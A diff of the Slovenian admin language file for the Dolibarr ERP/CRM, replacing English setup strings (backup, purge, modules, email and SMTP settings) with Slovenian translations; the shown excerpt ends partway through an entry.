      This may increase performance if you have a large number of contacts, but it is less convenient. -NumberOfKeyToSearch=Number of characters to trigger search: %s -NumberOfBytes=Number of Bytes -SearchString=Search string +DelaiedFullListToSelectCompany=Počakajte, da pritisnete tipko, preden naložite vsebino kombiniranega seznama tretjih oseb.
      To lahko poveča zmogljivost, če imate veliko število tretjih oseb, vendar je manj priročno. +DelaiedFullListToSelectContact=Počakajte, da pritisnete tipko, preden naložite vsebino kombiniranega seznama stikov.
      To lahko poveča zmogljivost, če imate veliko število stikov, vendar je manj priročno. +NumberOfKeyToSearch=Število znakov za sprožitev iskanja: %s +NumberOfBytes=Število bajtov +SearchString=Iskalni niz NotAvailableWhenAjaxDisabled=Ni na voljo, če je Ajax onemogočen -AllowToSelectProjectFromOtherCompany=On document of a third party, can choose a project linked to another third party -TimesheetPreventAfterFollowingMonths=Prevent recording time spent after the following number of months +AllowToSelectProjectFromOtherCompany=Na dokumentu partnerja lahko izberete projekt, povezan z drugim partnerjem +TimesheetPreventAfterFollowingMonths=Preprečite beleženje porabljenega časa po naslednjem številu mesecev JavascriptDisabled=JavaScript onemogočen UsePreviewTabs=Uporabi zavihke za predogled ShowPreview=Prikaži predogled -ShowHideDetails=Show-Hide details +ShowHideDetails=Prikaži-Skrij podrobnosti PreviewNotAvailable=Predogled ni na voljo ThemeCurrentlyActive=Trenutno aktivna tema MySQLTimeZone=Časovni pas MySql (baze podatkov) -TZHasNoEffect=Dates are stored and returned by database server as if they were kept as submitted string. The timezone has effect only when using the UNIX_TIMESTAMP function (that should not be used by Dolibarr, so database TZ should have no effect, even if changed after data was entered). +TZHasNoEffect=Datumi so shranjeni in vrnjeni s strani strežnika baze podatkov, kot da bi bili shranjeni kot predloženi niz. Časovni pas ima učinek samo pri uporabi funkcije UNIX_TIMESTAMP (te Dolibarr ne bi smel uporabljati, zato baza podatkov TZ ne bi smela imeti učinka, tudi če se spremeni po vnosu podatkov). Space=Presledek Table=Tabela Fields=Polja @@ -104,94 +102,95 @@ Mask=Maska NextValue=Naslednja vrednost NextValueForInvoices=Naslednja vrednost (fakture) NextValueForCreditNotes=Naslednja vrednost (dobropisi) -NextValueForDeposit=Next value (down payment) +NextValueForDeposit=Naslednja vrednost (polog) NextValueForReplacements=Naslednja vrednost (zamenjave) -MustBeLowerThanPHPLimit=Note: your PHP configuration currently limits the maximum filesize for upload to %s %s, irrespective of the value of this parameter +MustBeLowerThanPHPLimit=Opomba: vaša konfiguracija PHP trenutno omejuje največjo velikost datoteke za nalaganje na %s %s, ne glede na vrednost tega parametra NoMaxSizeByPHPLimit=Opomba: V vaši PHP konfiguraciji ni nastavljenih omejitev MaxSizeForUploadedFiles=Največja velikost prenesene datoteke (0 za prepoved vseh prenosov) -UseCaptchaCode=Use graphical code (CAPTCHA) on login page and some public pages +UseCaptchaCode=Uporabite grafično kodo (CAPTCHA) na strani za prijavo in nekaterih javnih straneh AntiVirusCommand=Celotna pot za antivirusno ukazno vrstico -AntiVirusCommandExample=Example for ClamAv Daemon (require clamav-daemon): /usr/bin/clamdscan
      Example for ClamWin (very very slow): c:\\Progra~1\\ClamWin\\bin\\clamscan.exe +AntiVirusCommandExample=Primer za ClamAv Daemon (zahteva clamav-daemon): /usr/bin/clamdscan
      Primer za ClamWin (zelo zelo počasen): c:\\Progra~1\\ClamWin\\bin\\clamscan.exe AntiVirusParam= Več parametrov v ukazni vrstici -AntiVirusParamExample=Example for ClamAv Daemon: --fdpass
      Example for ClamWin: --database="C:\\Program Files (x86)\\ClamWin\\lib" +AntiVirusParamExample=Primer za demon ClamAv: --fdpass
      Primer za ClamWin: --database="C:\\Program Files (x86)\\ClamWin\\lib" ComptaSetup=Nastavitve računovodskega modula UserSetup=Nastavitve upravljanja uporabnikov -MultiCurrencySetup=Multi-currency setup +MultiCurrencySetup=Nastavitev več valut MenuLimits=Omejitve in natančnost MenuIdParent=ID nadrejenega menija DetailMenuIdParent=ID nadrejenega menija (0 za najvišji meni) -ParentID=Parent ID +ParentID=ID starša DetailPosition=Številka za razvrstitev za določanje položaja menija AllMenus=Vsi -NotConfigured=Module/Application not configured +NotConfigured=Modul/aplikacija ni konfigurirana Active=Aktiven SetupShort=Nastavitve OtherOptions=Ostale opcije -OtherSetup=Other Setup +OtherSetup=Druge nastavitve CurrentValueSeparatorDecimal=Decimalno ločilo CurrentValueSeparatorThousand=Ločilo tisočic Destination=Destinacija IdModule=ID modula IdPermissions=ID dovoljenj LanguageBrowserParameter=Parameter %s -LocalisationDolibarrParameters=Localization parameters +LocalisationDolibarrParameters=Parametri lokalizacije ClientHour=Ura klienta (uporabnika) OSTZ=Časovni pas OS strežnika PHPTZ=Časovni pas PHP strežnika DaylingSavingTime=Poletni/zimski čas (uporabnik) CurrentHour=Ura PHP strežnika CurrentSessionTimeOut=Časovna omejitev trenutne seje -YouCanEditPHPTZ=To set a different PHP timezone (not required), you can try to add a .htaccess file with a line like this "SetEnv TZ Europe/Paris" -HoursOnThisPageAreOnServerTZ=Warning, in contrary of other screens, hours on this page are not in your local timezone, but of the timezone of the server. +YouCanEditPHPTZ=Če želite nastaviti drug časovni pas PHP (ni obvezno), lahko poskusite dodati datoteko .htaccess z vrstico, kot je ta "SetEnv TZ Europe/Paris" +HoursOnThisPageAreOnServerTZ=Opozorilo, v nasprotju z drugimi zasloni ure na tej strani niso v vašem lokalnem časovnem pasu, temveč v časovnem pasu strežnika. Box=Widget -Boxes=Widgets -MaxNbOfLinesForBoxes=Max. number of lines for widgets -AllWidgetsWereEnabled=All available widgets are enabled +Boxes=Pripomočki +MaxNbOfLinesForBoxes=maks. število vrstic za pripomočke +AllWidgetsWereEnabled=Omogočeni so vsi razpoložljivi pripomočki +WidgetAvailable=Widget available PositionByDefault=Privzet vrstni red Position=Položaj -MenusDesc=Menu managers set content of the two menu bars (horizontal and vertical). -MenusEditorDesc=The menu editor allows you to define custom menu entries. Use it carefully to avoid instability and permanently unreachable menu entries.
      Some modules add menu entries (in menu All mostly). If you remove some of these entries by mistake, you can restore them disabling and reenabling the module. +MenusDesc=Upravljavci menijev nastavijo vsebino dveh menijskih vrstic (vodoravno in navpično). +MenusEditorDesc=Urejevalnik menijev omogoča definiranje vnosov menija po meri. Uporabljajte ga previdno, da preprečite nestabilnost in trajno nedosegljive menijske vnose.
      Nekateri moduli dodajo menijske vnose (v meniju Večinoma vsi ). Če pomotoma odstranite nekatere od teh vnosov, jih lahko obnovite tako, da onemogočite in ponovno omogočite modul. MenuForUsers=Meni za uporabnika LangFile=Datoteka .lang -Language_en_US_es_MX_etc=Language (en_US, es_MX, ...) +Language_en_US_es_MX_etc=Jezik (en_US, es_MX, ...) System=Sistem SystemInfo=Sistemske informacije SystemToolsArea=Področje sistemskih orodij -SystemToolsAreaDesc=This area provides administration functions. Use the menu to choose the required feature. +SystemToolsAreaDesc=To področje zagotavlja administrativne funkcije. V meniju izberite želeno funkcijo. Purge=Počisti -PurgeAreaDesc=This page allows you to delete all files generated or stored by Dolibarr (temporary files or all files in %s directory). Using this feature is not normally necessary. It is provided as a workaround for users whose Dolibarr is hosted by a provider that does not offer permissions to delete files generated by the web server. -PurgeDeleteLogFile=Delete log files, including %s defined for Syslog module (no risk of losing data) -PurgeDeleteTemporaryFiles=Delete all log and temporary files (no risk of losing data). Parameter can be 'tempfilesold', 'logfiles' or both 'tempfilesold+logfiles'. Note: Deletion of temporary files is done only if the temp directory was created more than 24 hours ago. -PurgeDeleteTemporaryFilesShort=Delete log and temporary files (no risk of losing data) -PurgeDeleteAllFilesInDocumentsDir=Delete all files in directory: %s.
      This will delete all generated documents related to elements (third parties, invoices etc...), files uploaded into the ECM module, database backup dumps and temporary files. +PurgeAreaDesc=Ta stran vam omogoča, da izbrišete vse datoteke, ki jih ustvari ali shrani Dolibarr (začasne datoteke ali vse datoteke v imeniku %s ). Uporaba te funkcije običajno ni potrebna. Na voljo je kot rešitev za uporabnike, katerih Dolibarr gosti ponudnik, ki ne ponuja dovoljenj za brisanje datotek, ki jih ustvari spletni strežnik. +PurgeDeleteLogFile=Izbrišite dnevniške datoteke, vključno z %s , definiranimi za modul Syslog (brez nevarnosti izgube podatkov) +PurgeDeleteTemporaryFiles=Izbrišite vse dnevnike in začasne datoteke (brez nevarnosti izgube podatkov). Parameter je lahko 'tempfilesold', 'logfiles' ali oba 'tempfilesold+logfiles'. Opomba: Brisanje začasnih datotek se izvede le, če je bil začasni imenik ustvarjen pred več kot 24 urami. +PurgeDeleteTemporaryFilesShort=Brisanje dnevnika in začasnih datotek (brez nevarnosti izgube podatkov) +PurgeDeleteAllFilesInDocumentsDir=Izbrišite vse datoteke v imeniku: %s .
      To bo izbrisalo vse ustvarjene dokumente, povezane z elementi (partnerji, računi itd...), datoteke, naložene v modul ECM, izpise varnostnih kopij baze podatkov in začasne datoteke. PurgeRunNow=Počisti zdaj -PurgeNothingToDelete=No directory or files to delete. +PurgeNothingToDelete=Ni imenika ali datotek za brisanje. PurgeNDirectoriesDeleted=Izbrisane mape ali datoteke %s. -PurgeNDirectoriesFailed=Failed to delete %s files or directories. +PurgeNDirectoriesFailed=Brisanje %s datotek ali imenikov ni uspelo. PurgeAuditEvents=Počisti vse dogodke -ConfirmPurgeAuditEvents=Are you sure you want to purge all security events? All security logs will be deleted, no other data will be removed. +ConfirmPurgeAuditEvents=Ali ste prepričani, da želite počistiti vse varnostne dogodke? Vsi varnostni dnevniki bodo izbrisani, nobeni drugi podatki ne bodo odstranjeni. GenerateBackup=Generiraj varnostno kopijo Backup=Varnostna kopija Restore=Obnovitev RunCommandSummary=Varnostna kopija (backup) bo narejena z naslednjimi ukazi BackupResult=Rezultat varnostnega kopiranja BackupFileSuccessfullyCreated=Varnostna kopija uspešno generirana -YouCanDownloadBackupFile=The generated file can now be downloaded +YouCanDownloadBackupFile=Ustvarjeno datoteko je zdaj mogoče prenesti NoBackupFileAvailable=Varnostna kopija ni na voljo. ExportMethod=Način izvoza ImportMethod=Način uvoza ToBuildBackupFileClickHere=Za izdelavo varnostne kopije, kliknite tukaj. -ImportMySqlDesc=To import a MySQL backup file, you may use phpMyAdmin via your hosting or use the mysql command from the Command line.
      For example: +ImportMySqlDesc=Če želite uvoziti varnostno kopijo MySQL, lahko uporabite phpMyAdmin prek vašega gostovanja ali uporabite ukaz mysql iz ukazne vrstice.
      Na primer: ImportPostgreSqlDesc=Za uvoz datoteke z varnostno kopijo, morate uporabiti ukaz pg_restore v ukazni vrstici: ImportMySqlCommand=%s %s < mybackupfile.sql ImportPostgreSqlCommand=%s %s mybackupfile.sql -FileNameToGenerate=Filename for backup: +FileNameToGenerate=Ime datoteke za varnostno kopiranje: Compression=Kompresija CommandsToDisableForeignKeysForImport=Ukaz za onemogočenje tujega ključa pri uvozu CommandsToDisableForeignKeysForImportWarning=Obvezno, če želite imeti možnost kasnejše obnovitve vašega sql izpisa ExportCompatibility=Kompatibilnost generirane izvozne datoteke -ExportUseMySQLQuickParameter=Use the --quick parameter -ExportUseMySQLQuickParameterHelp=The '--quick' parameter helps limit RAM consumption for large tables. +ExportUseMySQLQuickParameter=Uporabite parameter --quick +ExportUseMySQLQuickParameterHelp=Parameter '--quick' pomaga omejiti porabo RAM-a za velike tabele. MySqlExportParameters=MySQL izvozni parametri PostgreSqlExportParameters= PostgreSQL izvozni parametri UseTransactionnalMode=Uporabi transakcijski način @@ -205,126 +204,127 @@ ExtendedInsert=Razširjeno vstavljanje NoLockBeforeInsert=Ni zaklepanja ukazi okoli INSERT DelayedInsert=Zakasnelo vstavljanje EncodeBinariesInHexa=Kodiraj binarne podatke v hexadecimalne -IgnoreDuplicateRecords=Ignore errors of duplicate record (INSERT IGNORE) +IgnoreDuplicateRecords=Prezri napake podvojenega zapisa (INSERT IGNORE) AutoDetectLang=Samozaznava (jezik iskalnika) FeatureDisabledInDemo=Funkcija onemogočena v demo različici -FeatureAvailableOnlyOnStable=Feature only available on official stable versions -BoxesDesc=Widgets are components showing some information that you can add to personalize some pages. You can choose between showing the widget or not by selecting target page and clicking 'Activate', or by clicking the trashcan to disable it. +FeatureAvailableOnlyOnStable=Funkcija je na voljo samo v uradnih stabilnih različicah +BoxesDesc=Gradniki so komponente, ki prikazujejo nekatere informacije, ki jih lahko dodate za prilagajanje nekaterih strani. Izbirate lahko med prikazovanjem pripomočka ali ne, tako da izberete ciljno stran in kliknete »Aktiviraj« ali pa kliknete smetnjak, da ga onemogočite. OnlyActiveElementsAreShown=Prikazani so samo elementi omogočenih modulov . -ModulesDesc=The modules/applications determine which features are available in the software. Some modules require permissions to be granted to users after activating the module. Click the on/off button %s of each module to enable or disable a module/application. -ModulesDesc2=Click the wheel button %s to configure the module/application. -ModulesMarketPlaceDesc=You can find more modules to download on external websites on the Internet... -ModulesDeployDesc=If permissions on your file system allow it, you can use this tool to deploy an external module. The module will then be visible on the tab %s. -ModulesMarketPlaces=Find external app/modules -ModulesDevelopYourModule=Develop your own app/modules -ModulesDevelopDesc=You may also develop your own module or find a partner to develop one for you. -DOLISTOREdescriptionLong=Instead of switching on www.dolistore.com web site to find an external module, you can use this embedded tool that will perform the search on the external market place for you (may be slow, need an internet access)... -NewModule=New module -FreeModule=Free -CompatibleUpTo=Compatible with version %s -NotCompatible=This module does not seem compatible with your Dolibarr %s (Min %s - Max %s). -CompatibleAfterUpdate=This module requires an update to your Dolibarr %s (Min %s - Max %s). -SeeInMarkerPlace=See in Market place +ModulesDesc=Moduli/aplikacije določajo, katere funkcije so na voljo v programski opremi. Nekateri moduli zahtevajo, da se uporabnikom podelijo dovoljenja po aktiviranju modula. Kliknite gumb za vklop/izklop %s vsakega modula, da omogočite ali onemogočite modul/aplikacijo. +ModulesDesc2=Kliknite gumb kolesca %s , da konfigurirate modul/aplikacijo. +ModulesMarketPlaceDesc=Več modulov za prenos lahko najdete na zunanjih spletnih mestih v internetu ... +ModulesDeployDesc=Če dovoljenja v vašem datotečnem sistemu to dovoljujejo, lahko uporabite to orodje za namestitev zunanjega modula. Modul bo nato viden na zavihku %s . +ModulesMarketPlaces=Poiščite zunanjo aplikacijo/module +ModulesDevelopYourModule=Razvijte lastno aplikacijo/module +ModulesDevelopDesc=Lahko tudi razvijete svoj modul ali poiščete partnerja, ki ga bo razvil namesto vas. +DOLISTOREdescriptionLong=Namesto da bi iskali zunanji modul na spletnem mestu www.dolistore.com , lahko uporabite to vdelano orodje, ki bo namesto vas opravilo iskanje na zunanjem trgu (morda je počasno, potrebujete dostop do interneta)... +NewModule=Nov modul +FreeModule=prost +CompatibleUpTo=Združljivo z različico %s +NotCompatible=Zdi se, da ta modul ni združljiv z vašim Dolibarr %s (najmanj %s – največ %s). +CompatibleAfterUpdate=Ta modul zahteva posodobitev vašega Dolibarr %s (najmanj %s – največ %s). +SeeInMarkerPlace=Glej na tržnici SeeSetupOfModule=Glejte nastavitev modula %s -SetOptionTo=Set option %s to %s -Updated=Updated -AchatTelechargement=Buy / Download -GoModuleSetupArea=To deploy/install a new module, go to the Module setup area: %s. +SetOptionTo=Nastavite možnost %s na %s +Updated=Posodobljeno +AchatTelechargement=Nakup / prenos +GoModuleSetupArea=Če želite razmestiti/namestiti nov modul, pojdite na območje za namestitev modula: %s . DoliStoreDesc=DoliStore, uradna tržnica za Dolibarr ERP/CRM zunanje module -DoliPartnersDesc=List of companies providing custom-developed modules or features.
      Note: since Dolibarr is an open source application, anyone experienced in PHP programming should be able to develop a module. -WebSiteDesc=External websites for more add-on (non-core) modules... -DevelopYourModuleDesc=Some solutions to develop your own module... +DoliPartnersDesc=Seznam podjetij, ki ponujajo po meri razvite module ali funkcije.
      Opomba: ker je Dolibarr odprtokodna aplikacija, vsakdo, ki ima izkušnje s programiranjem PHP, mora biti sposoben razviti modul. +WebSiteDesc=Zunanja spletna mesta za več dodatnih (neosnovnih) modulov ... +DevelopYourModuleDesc=Nekaj rešitev za razvoj lastnega modula... URL=URL -RelativeURL=Relative URL -BoxesAvailable=Widgets available -BoxesActivated=Widgets activated +RelativeURL=Relativni URL +BoxesAvailable=Na voljo so pripomočki +BoxesActivated=Pripomočki aktivirani ActivateOn=Aktiviran na ActiveOn=Aktiven na -ActivatableOn=Activatable on +ActivatableOn=Aktivno na SourceFile=Izvorna datoteka AvailableOnlyIfJavascriptAndAjaxNotDisabled=Na voljo samo, če JavaScript in Ajax nista onemogočena Required=Zahtevano UsedOnlyWithTypeOption=Uporablja se samo pri nekaterih ocijah agende Security=Varnost Passwords=Gesla -DoNotStoreClearPassword=Encrypt passwords stored in database (NOT as plain-text). It is strongly recommended to activate this option. -MainDbPasswordFileConfEncrypted=Encrypt database password stored in conf.php. It is strongly recommended to activate this option. +DoNotStoreClearPassword=Šifrirajte gesla, shranjena v bazi podatkov (NE kot golo besedilo). Močno priporočamo, da aktivirate to možnost. +MainDbPasswordFileConfEncrypted=Šifrirajte geslo baze podatkov, shranjeno v conf.php. Močno priporočamo, da aktivirate to možnost. InstrucToEncodePass=Za kodiranje gesla v datoteki conf.php, zamenjajte vrstico
      $dolibarr_main_db_pass="...";
      z
      $dolibarr_main_db_pass="crypted:%s"; InstrucToClearPass=Za dekodiranje gesla (izbris) v datoteki conf.php, zamenjajte vrstico
      $dolibarr_main_db_pass="crypted:...";
      z
      $dolibarr_main_db_pass="%s"; -ProtectAndEncryptPdfFiles=Protect generated PDF files. This is NOT recommended as it breaks bulk PDF generation. -ProtectAndEncryptPdfFilesDesc=Protection of a PDF document keeps it available to read and print with any PDF browser. However, editing and copying is not possible anymore. Note that using this feature makes building of a global merged PDFs not working. +ProtectAndEncryptPdfFiles=Zaščitite ustvarjene datoteke PDF. To NI priporočljivo, ker prekine množično ustvarjanje PDF. +ProtectAndEncryptPdfFilesDesc=Zaščita dokumenta PDF omogoča branje in tiskanje s katerim koli brskalnikom PDF. Vendar urejanje in kopiranje ni več mogoče. Upoštevajte, da uporaba te funkcije povzroči, da izdelava globalnih združenih PDF-jev ne deluje. Feature=Funkcija DolibarrLicense=Licenca Developpers=Razvojniki/sodelavci -OfficialWebSite=Dolibarr official web site -OfficialWebSiteLocal=Local web site (%s) -OfficialWiki=Dolibarr documentation / Wiki +OfficialWebSite=Uradna spletna stran Dolibarr +OfficialWebSiteLocal=Lokalno spletno mesto (%s) +OfficialWiki=Dokumentacija Dolibarr / Wiki OfficialDemo=Dolibarr online demo OfficialMarketPlace=Uradna tržnica za zunanje module/dodatke OfficialWebHostingService=Referenčne storitve spletnega gostovanja (gostovanje v oblaku) ReferencedPreferredPartners=Preferirani partnerji -OtherResources=Other resources -ExternalResources=External Resources -SocialNetworks=Social Networks -SocialNetworkId=Social Network ID -ForDocumentationSeeWiki=For user or developer documentation (Doc, FAQs...),
      take a look at the Dolibarr Wiki:
      %s -ForAnswersSeeForum=For any other questions/help, you can use the Dolibarr forum:
      %s -HelpCenterDesc1=Here are some resources for getting help and support with Dolibarr. -HelpCenterDesc2=Some of these resources are only available in english. +OtherResources=Drugi viri +ExternalResources=Zunanji viri +SocialNetworks=Socialna omrežja +SocialNetworkId=ID družbenega omrežja +ForDocumentationSeeWiki=Za uporabniško ali razvijalsko dokumentacijo (Doc, pogosta vprašanja ...),
      si oglejte Dolibarr Wiki:
      %s a09a47f7839f1 +ForAnswersSeeForum=Za vsa ostala vprašanja/pomoč se lahko obrnete na forum Dolibarr:
      %s +HelpCenterDesc1=Tukaj je nekaj virov za pomoč in podporo za Dolibarr. +HelpCenterDesc2=Nekateri od teh virov so na voljo samo v angleščini . CurrentMenuHandler=Trenutna rutina za meni MeasuringUnit=Merilna enota -LeftMargin=Left margin -TopMargin=Top margin -PaperSize=Paper type -Orientation=Orientation -SpaceX=Space X -SpaceY=Space Y -FontSize=Font size -Content=Content -ContentForLines=Content to display for each product or service (from variable __LINES__ of Content) +LeftMargin=Levi rob +TopMargin=Zgornji rob +PaperSize=Vrsta papirja +Orientation=Orientacija +SpaceX=Prostor X +SpaceY=Presledek Y +FontSize=Velikost pisave +Content=Vsebina +ContentForLines=Vsebina za prikaz za vsak izdelek ali storitev (iz spremenljivke __LINES__ vsebine) NoticePeriod=Čas za odobritev -NewByMonth=New by month -Emails=Emails -EMailsSetup=Emails setup -EMailsDesc=This page allows you to set parameters or options for email sending. -EmailSenderProfiles=Emails sender profiles -EMailsSenderProfileDesc=You can keep this section empty. If you enter some emails here, they will be added to the list of possible senders into the combobox when your write a new email. -MAIN_MAIL_SMTP_PORT=SMTP/SMTPS Port (default value in php.ini: %s) -MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS Host (default value in php.ini: %s) -MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS Port (Not defined into PHP on Unix-like systems) -MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS Host (Not defined into PHP on Unix-like systems) -MAIN_MAIL_EMAIL_FROM=Sender email for automatic emails (default value in php.ini: %s) -MAIN_MAIL_ERRORS_TO=Email used for error returns emails (fields 'Errors-To' in emails sent) -MAIN_MAIL_AUTOCOPY_TO= Copy (Bcc) all sent emails to -MAIN_DISABLE_ALL_MAILS=Disable all email sending (for test purposes or demos) -MAIN_MAIL_FORCE_SENDTO=Send all emails to (instead of real recipients, for test purposes) -MAIN_MAIL_ENABLED_USER_DEST_SELECT=Suggest emails of employees (if defined) into the list of predefined recipient when writing a new email -MAIN_MAIL_SENDMODE=Email sending method -MAIN_MAIL_SMTPS_ID=SMTP ID (if sending server requires authentication) -MAIN_MAIL_SMTPS_PW=SMTP Password (if sending server requires authentication) -MAIN_MAIL_EMAIL_TLS=Use TLS (SSL) encryption -MAIN_MAIL_EMAIL_STARTTLS=Use TLS (STARTTLS) encryption -MAIN_MAIL_EMAIL_SMTP_ALLOW_SELF_SIGNED=Authorise les certificats auto-signés -MAIN_MAIL_EMAIL_DKIM_ENABLED=Use DKIM to generate email signature -MAIN_MAIL_EMAIL_DKIM_DOMAIN=Email Domain for use with dkim -MAIN_MAIL_EMAIL_DKIM_SELECTOR=Name of dkim selector -MAIN_MAIL_EMAIL_DKIM_PRIVATE_KEY=Private key for dkim signing -MAIN_DISABLE_ALL_SMS=Disable all SMS sending (for test purposes or demos) +NewByMonth=Novo po mesecih +Emails=E-poštna sporočila +EMailsSetup=Nastavitev e-pošte +EMailsDesc=Ta stran vam omogoča nastavitev parametrov ali možnosti za pošiljanje e-pošte. +EmailSenderProfiles=Profili pošiljatelja e-poštnih sporočil +EMailsSenderProfileDesc=Ta razdelek lahko pustite prazen. Če tukaj vnesete nekaj e-poštnih sporočil, bodo dodana na seznam možnih pošiljateljev v kombinirano polje, ko napišete novo e-poštno sporočilo. +MAIN_MAIL_SMTP_PORT=Vrata SMTP/SMTPS (privzeta vrednost v php.ini: %s ) +MAIN_MAIL_SMTP_SERVER=Gostitelj SMTP/SMTPS (privzeta vrednost v php.ini: %s ) +MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=Vrata SMTP/SMTPS (ni definirano v PHP v sistemih, podobnih Unixu) +MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=Gostitelj SMTP/SMTPS (ni definiran v PHP v sistemih, podobnih Unixu) +MAIN_MAIL_EMAIL_FROM=E-pošta pošiljatelja za samodejna e-poštna sporočila (privzeta vrednost v php.ini: %s ) +EMailHelpMsgSPFDKIM=Če želite preprečiti, da bi bila e-pošta Dolibarr razvrščena kot vsiljena pošta, se prepričajte, da je strežnik pooblaščen za pošiljanje e-pošte s tega naslova s konfiguracijo SPF in DKIM +MAIN_MAIL_ERRORS_TO=E-pošta, uporabljena za vrnitev e-poštnih sporočil o napakah (polja »Errors-To« v poslanih e-poštnih sporočilih) +MAIN_MAIL_AUTOCOPY_TO= Kopiraj (Bcc) vsa poslana e-poštna sporočila na +MAIN_DISABLE_ALL_MAILS=Onemogoči vse pošiljanje e-pošte (za testne namene ali predstavitve) +MAIN_MAIL_FORCE_SENDTO=Pošlji vsa e-poštna sporočila (namesto pravim prejemnikom, za testne namene) +MAIN_MAIL_ENABLED_USER_DEST_SELECT=Pri pisanju novega e-poštnega sporočila predlagajte e-pošto zaposlenih (če je definirana) na seznam vnaprej določenih prejemnikov +MAIN_MAIL_SENDMODE=Način pošiljanja e-pošte +MAIN_MAIL_SMTPS_ID=ID SMTP (če strežnik pošiljanja zahteva preverjanje pristnosti) +MAIN_MAIL_SMTPS_PW=Geslo SMTP (če strežnik za pošiljanje zahteva preverjanje pristnosti) +MAIN_MAIL_EMAIL_TLS=Uporabite šifriranje TLS (SSL). +MAIN_MAIL_EMAIL_STARTTLS=Uporabite šifriranje TLS (STARTTLS). +MAIN_MAIL_EMAIL_SMTP_ALLOW_SELF_SIGNED=Pooblasti les certificats auto-signés +MAIN_MAIL_EMAIL_DKIM_ENABLED=Uporabite DKIM za ustvarjanje e-poštnega podpisa +MAIN_MAIL_EMAIL_DKIM_DOMAIN=E-poštna domena za uporabo z dkim +MAIN_MAIL_EMAIL_DKIM_SELECTOR=Ime izbirnika dkim +MAIN_MAIL_EMAIL_DKIM_PRIVATE_KEY=Zasebni ključ za podpis dkim +MAIN_DISABLE_ALL_SMS=Onemogoči vsa pošiljanja SMS (za testne namene ali predstavitve) MAIN_SMS_SENDMODE=Uporabljen način pošiljanja SMS -MAIN_MAIL_SMS_FROM=Default sender phone number for SMS sending -MAIN_MAIL_DEFAULT_FROMTYPE=Default sender email for manual sending (User email or Company email) -UserEmail=User email -CompanyEmail=Company Email +MAIN_MAIL_SMS_FROM=Privzeta telefonska številka pošiljatelja za pošiljanje SMS +MAIN_MAIL_DEFAULT_FROMTYPE=E-pošta privzetega pošiljatelja za ročno pošiljanje (e-pošta uporabnika ali e-pošta podjetja) +UserEmail=E-pošta uporabnika +CompanyEmail=E-pošta podjetja FeatureNotAvailableOnLinux=Funkcija ni na voljo pri Unix sistemih. Preverite program za pošiljanje pošte lokalno. -FixOnTransifex=Fix the translation on the online translation platform of project -SubmitTranslation=If the translation for this language is not complete or you find errors, you can correct this by editing files in directory langs/%s and submit your change to www.transifex.com/dolibarr-association/dolibarr/ -SubmitTranslationENUS=If translation for this language is not complete or you find errors, you can correct this by editing files into directory langs/%s and submit modified files on dolibarr.org/forum or, if you are a developer, with a PR on github.com/Dolibarr/dolibarr +FixOnTransifex=Popravite prevod na spletni platformi za prevajanje projekta +SubmitTranslation=Če prevod za ta jezik ni popoln ali najdete napake, lahko to popravite tako, da uredite datoteke v imeniku langs/%s in pošljete svojo spremembo na www.transifex.com/dolibarr-association/dolibarr/ +SubmitTranslationENUS=Če prevod za ta jezik ni popoln ali najdete napake, lahko to popravite tako, da uredite datoteke v imenik langs/%s in pošljete spremenjene datoteke na dolibarr.org/forum ali, če ste razvijalec, s PR na github .com/Dolibarr/dolibarr ModuleSetup=Nastavitve modula -ModulesSetup=Modules/Application setup +ModulesSetup=Nastavitev modulov/aplikacij ModuleFamilyBase=Sistem -ModuleFamilyCrm=Customer Relationship Management (CRM) -ModuleFamilySrm=Vendor Relationship Management (VRM) -ModuleFamilyProducts=Product Management (PM) +ModuleFamilyCrm=Upravljanje odnosov s partnerji (CRM) +ModuleFamilySrm=Saldakonti dobaviteljev +ModuleFamilyProducts=Upravljanje izdelkov (PM) ModuleFamilyHr=Upravljanje s človeškimi viri (Human Resource Management - HR) ModuleFamilyProjects=Delo na projektih/sodelovanje ModuleFamilyOther=Ostalo @@ -332,40 +332,40 @@ ModuleFamilyTechnic=Orodja za različne module ModuleFamilyExperimental=Eksperimentalni moduli ModuleFamilyFinancial=Finančni moduli (računovodstvo/blagajna) ModuleFamilyECM=ECM -ModuleFamilyPortal=Websites and other frontal application -ModuleFamilyInterface=Interfaces with external systems +ModuleFamilyPortal=Spletne strani in druge frontalne aplikacije +ModuleFamilyInterface=Vmesniki z zunanjimi sistemi MenuHandlers=Menijski vmesniki MenuAdmin=Urejevalnik menijev DoNotUseInProduction=Ne uporabljajte v proizvodnji -ThisIsProcessToFollow=Upgrade procedure: -ThisIsAlternativeProcessToFollow=This is an alternative setup to process manually: +ThisIsProcessToFollow=Postopek nadgradnje: +ThisIsAlternativeProcessToFollow=To je alternativna nastavitev za ročno obdelavo: StepNb=Korak %s -FindPackageFromWebSite=Find a package that provides the features you need (for example on the official web site %s). -DownloadPackageFromWebSite=Download package (for example from the official web site %s). -UnpackPackageInDolibarrRoot=Unpack/unzip the packaged files into your Dolibarr server directory: %s -UnpackPackageInModulesRoot=To deploy/install an external module, you must unpack/unzip the archive file into the server directory dedicated to external modules:
      %s -SetupIsReadyForUse=Module deployment is finished. You must however enable and setup the module in your application by going to the page setup modules: %s. -NotExistsDirect=The alternative root directory is not defined to an existing directory.
      -InfDirAlt=Since version 3, it is possible to define an alternative root directory. This allows you to store, into a dedicated directory, plug-ins and custom templates.
      Just create a directory at the root of Dolibarr (eg: custom).
      -InfDirExample=
      Then declare it in the file conf.php
      $dolibarr_main_url_root_alt='/custom'
      $dolibarr_main_document_root_alt='/path/of/dolibarr/htdocs/custom'
      If these lines are commented with "#", to enable them, just uncomment by removing the "#" character. -YouCanSubmitFile=You can upload the .zip file of module package from here: +FindPackageFromWebSite=Poiščite paket, ki nudi funkcije, ki jih potrebujete (na primer na uradni spletni strani %s). +DownloadPackageFromWebSite=Prenesite paket (na primer z uradne spletne strani %s). +UnpackPackageInDolibarrRoot=Razpakirajte/razpakirajte zapakirane datoteke v imenik strežnika Dolibarr: %s +UnpackPackageInModulesRoot=Če želite razmestiti/namestiti zunanji modul, morate razpakirati/razpakirati arhivsko datoteko v imenik strežnika, namenjen zunanjim modulom:
